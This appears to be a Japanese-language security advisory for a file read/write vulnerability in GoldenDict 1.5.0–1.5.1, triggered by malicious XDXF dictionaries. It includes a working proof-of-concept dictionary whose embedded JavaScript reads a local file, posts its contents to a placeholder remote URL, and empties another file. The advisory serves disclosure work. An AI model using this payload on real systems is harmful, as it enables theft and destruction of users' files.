
CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
GoldenDict 1.5.0 および 1.5.1 には、ユーザーが細工された辞書を追加し、 その辞書に含まれる任意の用語を検索すると、ファイルの読み取りおよび変更が可能になる、公開された危険なメソッドがあります。
この製品は外部の主体との対話のためのインターフェースを提供します。GoldenDict (ver. 1.5.0、1.5.1) には、適切に制限されていない危険なメソッドが含まれます。これにより、準備された悪意のある辞書がプログラムに追加されて使用されると、リモートの攻撃者はユーザーのファイルシステム上のファイルを読み取りおよび変更するアクセス権を取得できます。
CWE-749: Exposed Dangerous Method or Function; CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
GoldenDict Project
GoldenDict - 1.5.0, 1.5.1
GoldenDict 実行可能ファイル、ソースコードファイル xdxf.cc、ソースコードファイル xdxf2html.cc、ソースコードファイル stardict.cc。
リモート
true
true
ユーザーのファイルシステム上のファイルを読み取りおよび変更するアクセス権
この脆弱性を悪用するには、ユーザーがプログラムに悪意のある辞書を追加し、その辞書に含まれる任意の用語を検索する必要があります。
Astra Group の開発部門におけるセキュリティ統制部のペネトレーションテストグループの専門家である Grebennikov Timofey。
https://github.com/goldendict/goldendict/releases
GoldenDict は、Wikipedia とローカルにインストールされた辞書で用語を検索するためのグラフィカルプログラムです。XML マークアップを使用する XDXF 形式を含む、さまざまな辞書形式がサポートされています。辞書は、他のユーザーによってインターネット上で配布されています。
このプログラムは、Qt Widgets コンポーネントパッケージに含まれるブラウザエンジンを使用して、辞書の単語をレンダリングして表示します。
複数のセキュリティ違反が同時に発見され、これらにより重大な脆弱性が実現される可能性があります:
これらの違反が組み合わさることで、インターネットからダウンロードした XDXF 辞書の XML マークアップに悪意のある JS コードを埋め込むことにより、ユーザーのファイルにアクセスできる可能性が生じます。
Windows でこの脆弱性をテストするには、ファイルシステム内の2つの準備済みファイルに作用するスクリプトを実行できます。
<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
この辞書は、初期化されると secret.txt の内容をリモートサーバーに送信し、idea.txt を消去します。
攻撃の成功を確認します。受信者は secret.txt ファイルの内容を含むメッセージを受信し、idea.txt ファイルは空になります。
この脆弱性は Windows と Linux の両方のシステムに影響します。Linux システムでこの脆弱性を再現するには、テストファイルを保存するために別のディレクトリを使用し、そのディレクトリを悪意のあるコード内で指定する必要があります。